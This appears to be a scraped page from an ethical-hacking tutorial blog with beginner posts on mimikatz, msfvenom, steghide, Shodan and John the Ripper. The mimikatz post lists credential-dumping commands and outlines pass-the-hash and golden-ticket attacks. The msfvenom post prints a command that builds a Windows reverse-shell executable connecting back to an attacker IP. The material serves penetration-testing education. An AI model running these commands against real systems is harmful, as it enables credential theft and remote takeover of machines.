Posted on by — Leave a comment

Beginners guide to mimikatz

Hello, aspiring ethical hackers. In this blogpost, you will learn about mimikatz, a tool dubbed as “one of the world’s most powerful password stealers” by Wired magazine. Mimikatz is created by Benjamin Delphy as a proof of concept to show that the authentication protocols of Windows can be exploited. Mimikatz is nowadays used by not only pen testers but also threat actors around the world for malicious purpose.

The role of mimikatz comes in Post-exploitation stage after Windows hacking and Windows privilege escalation. It is a binary that needs to be uploaded to the target system after getting the most highest privileges. Then it needs to be run from command line as shown below.

Before you learn about the working of mimikatz, it will be very helpful for you to learn how Windows authentication works. As you read before, mimikatz requires admin privileges to be successful. The “privilege::debug” command displays the privileges of your account.

privilege::debug

If you get the above message, Mimikatz will work successfully. In order to exfiltrate whatever you do with mimikatz to external sources, we require a log. The “log” command displays the log file. By default, its name is “mimikatz.log”.

log

Note that we are running mimikatz on Windows 10 1809 machine that is in a workgroup. The most popular command used with to gather password hashes is “sekurlsa; logonpasswords”.

sekurlsa: logonpasswords

In some cases, this may fail as shown above. We can try this again by elevating our privileges using “token::elevate”.

token::elevate

The “sekur1sa::logonpasswords” is not the only command that helps us in retrieving password hashes. There are various other modules in mimikatz to retrieve passwords. For example, let’s take the “lsadump”module.

The “lsadump::sam” command decrypts the SAM entries of all users on the system.

lsadump::sam

As you can see, NTLM hashes of some users are retrieved. Next, all we have to do is crack this hash using a tool like John The Ripper or Hashcat. The above attack works when Windows system is a part of a workgroup. Mimikatz can also perform other attacks that work when Windows is installed as part of a domain. Here are some of those attacks.

1. Pass-the-Hash attack:

In this type of attack, there is no need to crack NTLM or other hash. The hash can itself be submitted as authentication for gaining access.

2. Pass-the-key attack:

When a user logs into the Domain controller, a unique key is used. Mimikatz can reuse this key to login into the Domain controller.

3. Pass-the-Ticket attack:

Kerberos protocol is another protocol that is used by Windows for authentication. This tool can be used to break this Kerberos protocol and obtain a kerberos ticket for a user account and then use that ticket to login into another computer.

4. Kerberos Golden Ticket attack:

Kerberos consists of a root account that encrypts all other authentication accounts. With mimikatz, we can also obtain this Golden ticket and thus obtain domain admin access for any computer on network.

    Posted on by — Leave a comment

    msfvenom cheatsheet for beginners

    Hello, aspiring ethical hackers. In one of our previous blogposts you have learnt what is payload and different types of payloads. In this article, you will learn about msfvenom, one of the most popular (if not the most popular) payload creators used in pen testing.

    What is a payload?

    A payload in cyber security is a piece of code that is executed after successfully running an exploit to take advantage of a vulnerability. When a Proof Of Concept (POC) for a vulnerability is disclosed, this allows most hackers around the world to execute their chosen payloads. This payload can be anything from malware, reverse shell, RAT, ransomware etc or their own custom payload. For example, ms08_067 vulnerability was exploited in real-world to deploy Conficker worm, but while pen testing, a meterpreter payload is used most probably.

    What is msfvenom?

    MSF venom is a payload generator from Metasploit framework that can be pretty useful in generating payloads for windows hacking, Linux hacking, web application hacking and even mobile hacking. MSFvenom is a replacement to MSF payload earlier.

    With the rise in quick patching of zero-day vulnerabilities by organizations, the role of payloads will become more important day by day. Whether it is exploiting a vulnerability or using social engineering the payload plays a very important role in ethical hacking.

    MSFvenom is widely used to generate various payloads as requirement during pen testing. Let’s see how it works. All pen testing distros have msfvenom installed by default as part of Metasploit framework. We are using Kali Linux for this tutorial.

    You can see all the payloads you can create using MSFvenom using the command “msfvenom-l” .

    Now, let’s see how to create payloads with MSFvenom. The primary requirements while creating a payload using MSFvenom are,

    -p: payload you want to create

    lhost: the IP address you want your shell to connect to

    lport: the port of IP address you want your shell to connect to.

    -f: Format of the payload.

    Most probably, payloads in msfvenom are used to get a reverse shell (Learn about various types of shells). Let’s create a Windows executable payload. Here’s the command.

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444 -f exe > hc_rs.exe
    Posted on by — Leave a comment

    Beginners guide to Steghide

    Hello, aspiring ethical hackers. In one of our previous blogposts, you have learnt in detail about steganography and types of steganography techniques. In this blogpost, you will learn about steghide, a tool that helps you to hide data in various kinds of image and audio files.

    Let’s see how this tool works. This tool is installed by default in Kali Linux. The command to use steghide is shown below. If it is not installed yet, the system will prompt you to install it as shown below.

    After steghide is successfully installed, let’s get ready our files. To perform steganography, we need two files: a file we want to hide (hereby called as secret file to avoid confusion) and another file to hide this secret file. So, first let’s create file which we want to hide (I mean, secret file). Let’s create a text file named “secret.txt” with some text inside as shown below.

    Now, we need a file in which we can hide this “secret.txt” file. Steghide can hide data in JPEG, BMP and audio files of WAV and Au formats. For this tutorial, let’s just download a hot pic in jpeg format from Freepix as shown below.

    What can be hotter than an erupting volcano. Since both files are ready, we can start working with steghide. Here’s the command.

    Here is the explanation of the options used:

    –embed: for embedding a file into another (in this case, embedding secret.txt into volcano.jpg).

    -ef: file that needs to be hidden or embedded

    -cf: file in which the above file is to be hidden.

    -sf: resultant file after embedding.

    You can embed a file even without using the ‘-sf’ option but when you do that, the original file (in our case, volcano.jpg) will be overwritten. Steghide will ask you to set a password while embedding a file, you can continue without setting the password too, but that would make it easy for right people to see the secret message. This is the image with secret data hidden beside it.

    It is looking just like any normal image, right. We can use steghide to specify additional options while embedding but before that let’s learn how to extract this secret data from the image file. To retrieve hidden data from the image file, we use the “extract” command of steghide is used.

    You can even specify a separate file to extract the secret data from using the ‘-xf’ option below.

    Whatever the case, you have to enter the correct password while extracting. Steghide also has a ‘info” command to display the information about the image file with secret data. Here it is how it works on a normal image file.

    Now, let’s get information about our “volcano_with_secret.jpg file.

    As you can see, steghide reveals that the above file (volcano_with_secret.jpg) is embedding a file named “secret.txt, it is compressed and encrypted with rijndael-128, cbc encryption. Now, let’s learn about additional options that can be used with steghide while embedding a file. We have seen while using “info” command that the name of the embedded file was displayed using the “-N” option, you can stop this name from being displayed.

    Now, let’s observe this file using the “info” command as shown below.

    As you can see, the name of the hidden file is not being displayed now. You can even encrypt a file with steghide using the “-z” option.

    By default, steghide uses rijndael-128 cbc encryption to encrypt the file. We can even specify the encryption algorithm we want. The encryption algorithms supported by steghide can be viewed using the “encinfo” command.

    We can set our own encryption algorithm we want using the ‘-e’ option. For example, let’s set the DES algorithm with cbc cipher.

    That is how we use steghide to hide a file.

    Posted on by — Leave a comment

    Beginners guide to Shodan

    Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt in detail about footprinting or information gathering and the various methods of reconnaissance. In another blogpost, you learnt what is OSINT. In this blogpost, you will learn about a resource that falls into the above categories. Its named Shodan, I prefer to call it the hackers search engine

    What is Shodan?

    You know about Google search engine and its power. It allows you search for images, videos, news etc. what if there was a search engine to search for various types of devices connected to the internet. These devices can be webcams, routers and different servers like web server, FTP server, Telnet, SSH, SNMP, IMAP, SMTP etc. In fact, everything connected to internet. Well, the answer is Shodan.

    Let’s learn more about it. Go to the official website of it here and in the search field, search for Apache.

    It will start displaying all the Apache servers connected to internet as shown below.

    But as you try to go to the next page to see more entries, you should see the below error.

    You can search for anything you want but the results are limited if you are not registered. You can create an account on Shodan by going to the Register page. Registration is free and after you confirm your registration from your email, you are ready to use the power of this awesome search engine.

    You can login into your Shodan account and search for whatever you want.

    Let’s search for SSH servers running on ports 22 and 3333.

    Sometimes, administrators just change the operating port of a server to prevent hacking attacks. We can even search for them. For example, let’s search for SSH servers running on ports other than 22 and 3333.

    Let’s search for Redis servers.

    In fact, you can search for anything connected to the internet using Shodan. Seeing the use of this tool for pen testers, the makers of Kali Linux have included Shodan-cli, a command line version in their repository.

    Before using the command line version of Shodan, you need to add the API key of Shodan. It can be added as shown below.

    This key can be seen in the Account section of Shodan. Once the API key is entered, you can use Shodan-cli. This API key can also be used with tools like SpiderFoot used for OSINT. Note that the features are dependent on the types of account you have at Shodan. Free account has limited features. Let’s see how many open SSH and Filezilla servers are exposed to the internet.

    After seeing all this, you may wonder how Shodan works or is it legal to use it. Shodan works by using a technique called banner grabbing. It captures banners of all the devices connected to the internet and then stores them in its database. Although it is legal to use Shodan for querying, it is not to do anything on the exposed servers without their permission. It is used by pen testers to see what devices are exposed and what information they are leaking to the internet.

    Posted on by — Leave a comment

    John password cracker: Beginners guide

    Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt about password cracking and different types of password cracking techniques. In this blogpost, you will learn about a password cracking tool called John password cracker. Originally, called John the Ripper, John password cracker is a cross-platform software and a very popular password cracker.

    In one of our previous blogposts, you learnt in detail about encryption. Hashing is a method of encryption in which a plain string of text is converted into an encrypted hash. This is a one-way function and hashes cannot easily be converted back to plain string. This technique is often used for storing passwords.

    Being one of the most popular password hash cracking tools, John is installed by default in Kali Linux and I will be using the same for this tutorial. To demonstrate the power of John, first we need to create a hash. This can be done using online services like md5encrypt. I copy the generated MD5 hash to a text file named hash.txt as shown below.

    Then all we have to do is submit this file to John as shown below.

    Then John begins to crack the hash in the file. In most of the real-world cases, this will consume lot of time. So, it is good to specify the format of the hash using the ‘–format’ option as shown below. The format of the hash can be identified using hash identification.

    As you can see in the above image, John successfully cracked the password hash. Let’s add a SHA-1 hash now to the same file and try cracking it.

    The list of all the hash formats John can crack are many. John can crack a number of password hashes at once. However, they should all be of same format. Let’s add another MD5 hash to the hash.txt file.

    Once a hash is cracked by John, it can be viewed using the ‘–show’ option. For example, all the hashes in file “hash.txt” can be viewed as shown below.

    Single mode

    As already mentioned at the beginning of this article, John can use different techniques to crack password hashes. One of them is single mode. People in some cases use the username as a password (or a variation of username as password). Single mode is mostly useful in these cases. When single mode is specified, it tries all the variations of the username to crack the hash. Let’s try it out. I add a password hash along with the username to the file hash.txt.

    Then, specifying single mode does this.

    Wordlist mode or Dictionary mode

    John can also use dictionary mode to crack the hash. I add a new hash to the file hash.txt.

    Then all we need to do is specify a wordlist as shown below.

    Incremental mode

    If all those options fail, John still has incremental mode in which the combination of all the techniques are used. But this may take lot of time and resources.

    But password cracking is all about patience. Learn how to crack hashes with hashcat.